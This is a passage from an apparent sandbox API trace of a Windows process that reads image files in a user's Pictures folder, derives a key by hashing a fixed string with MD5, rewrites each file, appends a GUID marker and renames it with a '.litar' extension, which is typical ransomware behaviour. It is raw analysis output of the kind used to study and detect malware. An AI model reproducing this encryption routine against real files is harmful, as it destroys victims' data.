(HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.261] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.261] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.261] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xe78c, lpOverlapped=0x0) returned 1 [0126.262] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.262] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.262] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.262] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.262] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.263] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.263] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.263] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.263] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.263] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.263] GetLastError () returned 0x0 [0126.263] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.263] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.263] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.263] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe790) returned 0x30fa0b0 [0126.263] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.263] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.263] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xe787, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xe787, lpOverlapped=0x0) returned 1 [0126.264] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.264] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe78c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.264] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.264] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.264] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.264] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.264] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.264] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.264] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.264] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.264] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.264] CloseHandle (hObject=0x624) returned 1 [0126.265] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.265] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.265] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.265] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\Xu0FJPBCEsMrFdRg0wfb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\xu0fjpbcesmrfdrg0wfb.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\Xu0FJPBCEsMrFdRg0wfb.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\xu0fjpbcesmrfdrg0wfb.png.litar")) returned 1 [0126.266] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.266] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.267] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f6d0c30, ftCreationTime.dwHighDateTime=0x1d4cf5f, ftLastAccessTime.dwLowDateTime=0xfbbbf2d0, ftLastAccessTime.dwHighDateTime=0x1d4cf57, ftLastWriteTime.dwLowDateTime=0xfbbbf2d0, ftLastWriteTime.dwHighDateTime=0x1d4cf57, nFileSizeHigh=0x0, nFileSizeLow=0x3cfb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y0VZOX.jpg", cAlternateFileName="")) returned 1 [0126.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.267] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\y0VZOX.jpg") returned=".jpg" [0126.267] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\y0VZOX.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\y0vzox.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.267] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=15611) returned 1 [0126.267] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.269] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3cd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.269] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.271] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x3cfb, lpOverlapped=0x0) returned 1 [0126.271] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.271] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.271] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.271] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.272] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.272] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.272] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.272] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.272] GetLastError () returned 0x0 [0126.272] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.272] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.272] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.273] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3cfb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.273] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.273] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.273] CloseHandle (hObject=0x624) returned 1 [0126.273] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.273] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.274] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.274] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\y0VZOX.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\y0vzox.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\y0VZOX.jpg.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\y0vzox.jpg.litar")) returned 1 [0126.275] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.275] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.276] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.276] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f6d0c30, ftCreationTime.dwHighDateTime=0x1d4cf5f, ftLastAccessTime.dwLowDateTime=0xfbbbf2d0, ftLastAccessTime.dwHighDateTime=0x1d4cf57, ftLastWriteTime.dwLowDateTime=0xfbbbf2d0, ftLastWriteTime.dwHighDateTime=0x1d4cf57, nFileSizeHigh=0x0, nFileSizeLow=0x3cfb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y0VZOX.jpg", cAlternateFileName="")) returned 0 [0126.276] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.276] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.276] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084120 | out: hHeap=0x5c0000) returned 1 [0126.276] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084120 [0126.277] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.277] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.279] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.280] RtlAllocateHeap (HeapHandle=0x5c0000, 